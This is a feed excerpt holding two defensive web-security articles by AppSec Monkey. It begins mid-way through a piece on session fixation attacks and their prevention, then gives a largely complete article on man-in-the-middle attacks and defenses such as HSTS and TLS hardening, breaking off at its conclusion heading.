&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fspk2wkjdjvyg9h9uiyvj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fspk2wkjdjvyg9h9uiyvj.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How does the attacker fixate the user's session identifier?
&lt;/h2&gt;

&lt;p&gt;It depends on the application, but here are the usual ways to force a session identifier into someone's browser.&lt;/p&gt;

&lt;h3&gt;
  
  
  MITM attacks
&lt;/h3&gt;

&lt;p&gt;In a &lt;a href="https://www.appsecmonkey.com/blog/mitm" rel="noopener noreferrer"&gt;man-in-the-middle attack&lt;/a&gt; the attacker has control over the target user's network traffic and can forge a &lt;code&gt;Set-Cookie&lt;/code&gt; reply or a &lt;code&gt;document.cookie&lt;/code&gt; JavaScript call "from the server" to set the session id.&lt;/p&gt;

&lt;h3&gt;
  
  
  XSS attacks
&lt;/h3&gt;

&lt;p&gt;In a &lt;a href="https://www.appsecmonkey.com/blog/xss" rel="noopener noreferrer"&gt;cross-site scripting attack&lt;/a&gt;, the attacker runs malicious JavaScript on the website and injects a &lt;code&gt;document.cookie&lt;/code&gt; call on the page which sets the user's session id.&lt;/p&gt;

&lt;h3&gt;
  
  
  Compromised subdomains
&lt;/h3&gt;

&lt;p&gt;All subdomains can overwrite an application's cookies by default, so if there is, e.g., an XSS vulnerability on foo.example.com, an attacker can use it to change the user's cookie on &lt;a href="http://www.example.com" rel="noopener noreferrer"&gt;www.example.com&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Physical attacks
&lt;/h3&gt;

&lt;p&gt;Someone with physical access to the web-browser can easily set cookies for a website before the next computer user logs in.&lt;/p&gt;

&lt;h3&gt;
  
  
  Application vulnerabilities
&lt;/h3&gt;

&lt;p&gt;Some older application frameworks do silly things like taking session identifiers directly from URL parameters, making the application vulnerable to session fixation attacks.&lt;/p&gt;

&lt;p&gt;In such scenarios, the attacker can create a link with the attacker's session ID and get someone to open it.&lt;/p&gt;

&lt;p&gt;If you see something like "?JSESSIONID=12345" in your &lt;strong&gt;URL&lt;/strong&gt;, then you might want to do something about it.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent session fixation attacks?
&lt;/h2&gt;

&lt;p&gt;As with all attacks, there are measures that developers can take to prevent session fixation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create a new session identifier upon login
&lt;/h3&gt;

&lt;p&gt;Creating a new session identifier upon login is the most critical defense against session fixation attacks.&lt;/p&gt;

&lt;p&gt;Instead of authenticating the user's existing (pre-authenticated) session identifier, the application should grant the user a new, authenticated session identifier.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjy7pywe5alfju5c9mq96.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjy7pywe5alfju5c9mq96.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now the attacker cannot hijack Jim's session anymore.&lt;/p&gt;

&lt;p&gt;Most modern application frameworks follow this behavior, but there are exceptions. Make sure your application returns an entirely new session identifier on login.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;POST /auth/login HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=ABC123&lt;/span&gt;
&lt;span class="nn"&gt;...&lt;/span&gt;
&lt;span class="s"&gt;user=Jim&amp;amp;password=Cat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;HTTP/1.1 301 Moved&lt;/span&gt;
&lt;span class="na"&gt;Location&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/profile&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SessionId=xY729x...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Prevent MITM attacks
&lt;/h3&gt;

&lt;p&gt;One of the threats is a man-in-the-middle (MITM) attack. An attacker intercepts the connections between the user and your web server and injects a &lt;code&gt;Set-Cookie&lt;/code&gt; header with the attacker's cookie.&lt;/p&gt;

&lt;p&gt;Even if we do create a new session ID upon authentication, there are other session fixation attacks that we still want to prevent, such as the attacker logging in the target user with the attacker's user account.&lt;/p&gt;

&lt;p&gt;To prevent MITM attacks against your web application, use HTTPS, preloaded HSTS, and configure your TLS settings properly.&lt;/p&gt;

&lt;p&gt;Read more:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://appsecmonkey.com/blog/mitm" rel="noopener noreferrer"&gt;MITM (Man-In-The-Middle) Attacks and Prevention&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Prevent cookie overwriting
&lt;/h3&gt;

&lt;p&gt;The application should protect its cookies with the &lt;code&gt;__Host&lt;/code&gt; prefix and the &lt;code&gt;Secure&lt;/code&gt; attribute to prevent a compromised subdomain or a network attacker from overwriting the user's cookies.&lt;/p&gt;

&lt;p&gt;Read more:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://appsecmonkey.com/blog/cookie-security" rel="noopener noreferrer"&gt;Cookie Security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Prevent XSS attacks
&lt;/h3&gt;

&lt;p&gt;The application can do nothing to prevent the cookie from being overwritten in the event of a successful XSS (Cross-Site Scripting) attack.&lt;/p&gt;

&lt;p&gt;As such (and for many other reasons), we have to carefully avoid XSS vulnerabilities and use a strict CSP (Content Security Policy) to further harden our application against them.&lt;/p&gt;

&lt;p&gt;Read more:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://appsecmonkey.com/blog/xss" rel="noopener noreferrer"&gt;Cross-Site Scripting (XSS) Attacks and Prevention&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://appsecmonkey.com/blog/csp" rel="noopener noreferrer"&gt;Content Security Policy (CSP)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://appsecmonkey.com/tools/csp" rel="noopener noreferrer"&gt;CSP Tool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Be careful with legacy application frameworks
&lt;/h3&gt;

&lt;p&gt;As mentioned above, legacy application frameworks can have features that make them vulnerable to session fixation attacks by design. For example, J2EE applications support session management through URL rewriting.&lt;/p&gt;

&lt;p&gt;The best defense is to stay away from legacy frameworks and develop with modern tools. However, if you're stuck with old technology, then at least find the configuration setting or create a filter to disable the dangerous functionality.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Session fixation attacks happen when an attacker forces, or "fixates", a session identifier, a value known to the attacker, to a user's browser.&lt;/p&gt;

&lt;p&gt;The primary threat is that the user logs in with the attacker's known session identifier, but there are other attacks such as the attacker logging in the user with the attacker's user account.&lt;/p&gt;

&lt;p&gt;To protect your web application from session fixation attacks, we came up with the following defenses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Always create a new session ID upon authentication.&lt;/li&gt;
&lt;li&gt;Prevent MITM attacks with HTTPS, HSTS, and proper TLS security settings.&lt;/li&gt;
&lt;li&gt;Prevent cookie overwrites by protecting the cookie with __Host-prefix and Secure attribute.&lt;/li&gt;
&lt;li&gt;Avoid XSS vulnerabilities and prevent exploitation by using a strict CSP (Content Security Policy).&lt;/li&gt;
&lt;li&gt;Use modern application frameworks, or configure legacy frameworks carefully.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/" rel="noopener noreferrer"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>programming</category>
    </item>
    <item>
      <title>MITM (Man-In-The-Middle) Attacks and Prevention</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Tue, 23 Mar 2021 19:01:35 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/mitm-man-in-the-middle-attacks-and-prevention-3lcp</link>
      <guid>https://forem.com/appsecmonkey/mitm-man-in-the-middle-attacks-and-prevention-3lcp</guid>
      <description>&lt;p&gt;Learn how man-in-the-middle (MITM) attacks can put your website users in danger and how to prevent it. The original post can be read &lt;a href="https://www.appsecmonkey.com/blog/mitm"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What are MITM attacks?
&lt;/h2&gt;

&lt;p&gt;In a MITM attack, someone on the network intercepts the network communications between a user and your website.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HF6Au9FJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dkhzt5vfr6m4g72ctef0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HF6Au9FJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dkhzt5vfr6m4g72ctef0.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How are MITM attacks made?
&lt;/h2&gt;

&lt;p&gt;There are multiple ways to hijack someone's network connection, but two standard methods are &lt;em&gt;ARP poisoning&lt;/em&gt; and &lt;em&gt;evil access points&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  ARP poisoning
&lt;/h3&gt;

&lt;p&gt;Hosts on a network talk to the world outside of the local area network (LAN) through a gateway. The gateway is configured on the client, either manually or through the DHCP protocol.&lt;/p&gt;

&lt;p&gt;Communication within a LAN, however, is facilitated through MAC addresses, not IP addresses. For this reason, we need a protocol to map IP addresses to MAC addresses to communicate with hosts on the network by their IP address. And this protocol is aptly named &lt;em&gt;address resolution protocol&lt;/em&gt; or ARP for short.&lt;/p&gt;

&lt;p&gt;Here is how the ARP poisoning attack works.&lt;/p&gt;

&lt;p&gt;The attacker sends an unsolicited ARP reply to the target network device (e.g., the website user's phone), claiming that the attacker's device is the gateway. And the way network protocols are implemented, the phone will believe the attacker and start sending its traffic through the attacker's device.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Fv2mIiEZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2m5oj0znawf38w6ktg2h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Fv2mIiEZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2m5oj0znawf38w6ktg2h.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Evil access points
&lt;/h3&gt;

&lt;p&gt;The second typical attack works by the attacker setting up a WiFi access point that mimics a real access point nearby.&lt;/p&gt;

&lt;p&gt;When users unwittingly connect to the malicious access point, their network traffic is sent to the attacker, who then forwards it to the Internet.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ndBDutLL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/62h1msxflh9tt1stgwwn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ndBDutLL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/62h1msxflh9tt1stgwwn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  sslstrip
&lt;/h3&gt;

&lt;p&gt;Once the connection has been intercepted, the attacker can use a tool such as &lt;a href="https://github.com/moxie0/sslstrip"&gt;sslstrip&lt;/a&gt; to disable all HTTPS redirects and change &lt;code&gt;https://&lt;/code&gt; links to unencrypted &lt;code&gt;http://&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  It shouldn't matter
&lt;/h3&gt;

&lt;p&gt;The key takeaway here is that developers cannot base an application's security on the assumption that no-one can intercept the connection between the user and the webserver.&lt;/p&gt;

&lt;p&gt;Instead, we have to use encryption to make sure it doesn't matter whether the connection is hijacked or not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Does HTTPS prevent MITM attacks?
&lt;/h2&gt;

&lt;p&gt;Unfortunately, HTTPS alone is not enough to prevent MITM attacks against your users. Let me show you what I mean. The following is generally what happens when a browser connects to a website:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user types in &lt;a href="http://www.example.com"&gt;www.example.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rxbBsA0A--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jrubnh7yfsi966hv61u2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rxbBsA0A--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jrubnh7yfsi966hv61u2.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user's browser sends an unencrypted HTTP request to &lt;a href="http://www.example.com/"&gt;http://www.example.com/&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--oCxN_ukf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nd2j6dycyrqzb2psdzj9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oCxN_ukf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nd2j6dycyrqzb2psdzj9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The webserver returns a redirect to &lt;a href="https://www.example.com"&gt;https://www.example.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QQq0o_Mt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e4ezl6iv3ib7uq4mka97.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QQq0o_Mt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e4ezl6iv3ib7uq4mka97.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user's browser sends an encrypted HTTPS request to &lt;a href="https://www.example.com/"&gt;https://www.example.com/&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_u6cRQkD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2mwnxfonxaa47lkici1o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_u6cRQkD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2mwnxfonxaa47lkici1o.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The webserver returns with the login page.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--N9eCn_d6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x3t6t22wg2k031bsv9dz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--N9eCn_d6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x3t6t22wg2k031bsv9dz.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user enters their username and password, which the browser safely sends to the webserver across a secure TLS connection.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--e5H_L8_f--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jo5g9xsmfsm74p2cbw4y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--e5H_L8_f--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jo5g9xsmfsm74p2cbw4y.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But what if there is an attacker on the network?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user types in &lt;a href="http://www.example.com"&gt;www.example.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Tq27Rl-j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pbu0hvzzqz13lvc8dclg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Tq27Rl-j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pbu0hvzzqz13lvc8dclg.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user's browser sends an unencrypted HTTP request to &lt;a href="http://www.example.com/"&gt;http://www.example.com/&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HSlzofKo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/apxpysxfp5jkao6strgv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HSlzofKo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/apxpysxfp5jkao6strgv.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The attacker intercepts this unencrypted request and returns the login page from the real server. Crucially, the connection is still unencrypted.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YKgjvaid--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/54at2jq43yizp15wt6bn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YKgjvaid--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/54at2jq43yizp15wt6bn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user gives their username and password straight to the attacker over the unencrypted connection.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wab2pu-D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tk273i2j72lf4a9hvg6k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wab2pu-D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tk273i2j72lf4a9hvg6k.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;See the problem? The web server never got a chance to redirect the user to HTTPS because the attacker had already taken over the connection.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent MITM attacks?
&lt;/h2&gt;

&lt;p&gt;There are three key requirements for protecting your web application from MITM attacks:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use HTTPS.&lt;/li&gt;
&lt;li&gt;Use preloaded HSTS.&lt;/li&gt;
&lt;li&gt;Harden your SSL/TLS ciphers.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Use HTTPS
&lt;/h3&gt;

&lt;p&gt;The first defence is simple, and hopefully you are already doing this. Get a free certificate from &lt;a href="https://letsencrypt.org/"&gt;Let's Encrypt&lt;/a&gt; and use HTTPS for all your content.&lt;/p&gt;

&lt;h3&gt;
  
  
  Use preloaded HSTS
&lt;/h3&gt;

&lt;p&gt;HSTS (HTTP Strict Transport Security) is an opt-in browser security feature that prevents browsers from making any unencrypted connections to a domain.&lt;/p&gt;

&lt;p&gt;The following is how the network flow might work with HSTS enabled:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user types in &lt;a href="http://www.example.com"&gt;www.example.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Tq27Rl-j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pbu0hvzzqz13lvc8dclg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Tq27Rl-j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pbu0hvzzqz13lvc8dclg.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The website uses HSTS, so the user's browser right away sends an encrypted HTTPS request to &lt;a href="https://www.example.com/"&gt;https://www.example.com/&lt;/a&gt;. The attacker doesn't get a chance.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JFJsE0yq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/31qrb8mueayx6qqxy5mw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JFJsE0yq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/31qrb8mueayx6qqxy5mw.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The webserver returns with the login page.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mS1fYYWo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uas4od3hpghf0k24sv14.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mS1fYYWo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uas4od3hpghf0k24sv14.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user enters their username and password, which the browser safely sends across a secure TLS connection.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4FQBOM8Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d7b3pmye52a8tl31n40j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4FQBOM8Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d7b3pmye52a8tl31n40j.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
See how HSTS prevented the attack? The browser never sent the first unencrypted HTTP request, and the attacker had nothing meaningful to intercept.&lt;/p&gt;

&lt;p&gt;You can enable the protection for your website with the &lt;code&gt;Strict-Transport-Security&lt;/code&gt; header. Make sure to include subdomains and enable HSTS preloading. You can read more about the options and what preloading means here: &lt;a href="https://www.appsecmonkey.com/blog/hsts"&gt;HTTP Strict Transport Security (HSTS)&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Harden your TLS ciphers
&lt;/h2&gt;

&lt;p&gt;You can use preloaded HSTS to force connections to your website to be encrypted. But what if someone breaks that encryption? You have to be careful when configuring the TLS settings on your server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implement forward secrecy
&lt;/h3&gt;

&lt;p&gt;One of the most important things is to use a key exchange algorithm like Diffie-Hellman that doesn't involve transmitting the symmetric key over the network. Otherwise, such as when using RSA for key exchange, if someone in the future gets access to the private key (remember heartbleed?), the attacker can decrypt all of the past encrypted connections.&lt;/p&gt;

&lt;p&gt;This property is called forward secrecy or perfect forward secrecy. Make sure you have it enabled.&lt;/p&gt;

&lt;h3&gt;
  
  
  Use authenticated encryption
&lt;/h3&gt;

&lt;p&gt;Use cipher suites that verify the authenticity of a message before trying to decrypt it. This way is much less prone to all sorts of attacks like padding oracles. AES-GCM and ChaCha20-Poly1305 are such good ciphers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Disable legacy protocols
&lt;/h3&gt;

&lt;p&gt;It's important not to support legacy protocols because an attacker on the network can downgrade the connection to the worst settings supported by both the client and the server.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only support TLS 1.2 and up.&lt;/li&gt;
&lt;li&gt;Only support SHA and SHA2 (SHA256, SHA384, etc.) for the MAC (Message Authentication Code).&lt;/li&gt;
&lt;li&gt;Only support AES-GCM from block ciphers and ChaCha20-Poly1305 from stream ciphers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can check the browser support for TLS 1.2 &lt;a href="https://caniuse.com/tls1-2"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Generating a secure configuration
&lt;/h3&gt;

&lt;p&gt;Visit &lt;a href="https://ssl-config.mozilla.org/"&gt;Mozilla's SSL Config&lt;/a&gt; to generate a secure configuration for your webserver.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

